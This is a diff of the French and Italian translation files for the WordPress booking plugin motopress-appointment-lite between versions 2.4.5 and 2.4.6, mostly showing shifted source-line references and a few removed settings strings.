 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Coupon"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr "Services réservés"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Détails de paiement"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr "Montant de la réservation"
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Réservation #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4035,38 +4025,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr "Payez avec votre carte de crédit via Stripe. Utilisez le numéro de carte 424242424242424242 avec le CVC 123, une date d'expiration valide et un code postal aléatoire à 5 chiffres pour effectuer un test de paiement."
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bancontact"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "Prélèvement SEPA"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5513,10 +5503,10 @@
 msgstr "Modifier les réservations"
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr "Faire une réservation..."
 
@@ -6229,168 +6219,168 @@
 msgstr "Décembre"
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Vous allez être redirigé vers une page sécurisée pour terminer le paiement."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Sous-total"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Coupon : %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Total"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Acompte"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "Le code de coupon est vide."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr "Code de coupon appliqué avec succès."
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr "Désolé, votre réservation n'est pas éligible pour ce coupon."
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr "En fournissant votre IBAN et en confirmant ce paiement, vous autorisez (A) %s et Stripe, notre prestataire de services de paiement, à envoyer des instructions à votre banque pour débiter votre compte et (B) votre banque à débiter votre compte conformément à ces instructions. Vous avez droit à un remboursement de votre banque selon les termes et conditions de votre accord avec votre banque. Un remboursement doit être réclamé dans les 8 semaines suivant la date à laquelle votre compte a été débité."
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Carte de crédit ou de débit"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "ou"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "Sélectionnez iDEAL Bank"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Carte"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr "Désolé, mais nous n'avons pas pu attribuer de créneaux horaires pour la date que vous avez sélectionnée."
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr "Désolé, il n'y a pas de services, d'employés ou d'endroits à réserver."
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6400,19 +6390,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr "rendez-vous"
 
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-it_IT.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-it_IT.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-it_IT.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-it_IT.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-it_IT.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-it_IT.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Supporto"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Impostazioni salvate."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Salva cambiamenti"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Impostazioni"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Esporta"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "ID"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Servizi"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Servizio"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Data"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Ora"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Dipendenti"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Dipendente"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Prezzo"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "Stato"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Cliente"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Pagato: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "Ordine"
 
@@ -845,7 +835,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1232,7 +1222,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Modulo per gli appuntamenti"
 
@@ -1480,7 +1470,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1494,7 +1484,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Slug di attributi separati da virgola o ID dei tag che appariranno."
 
@@ -1571,7 +1561,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Informazioni aggiuntive sul dipendente"
 
@@ -1592,49 +1582,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "ID del post di un dipendente da cui visualizzare il contenuto. Nota: questo parametro utilizza automaticamente l'ID del post corrente quando uno shortcode è all'interno del post del dipendente ed è richiesto altrimenti."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Informazioni di contatto del dipendente"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Contenuto del Dipendente"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Immagine del Dipendente"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr "Programmi per turni di lavoro"
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
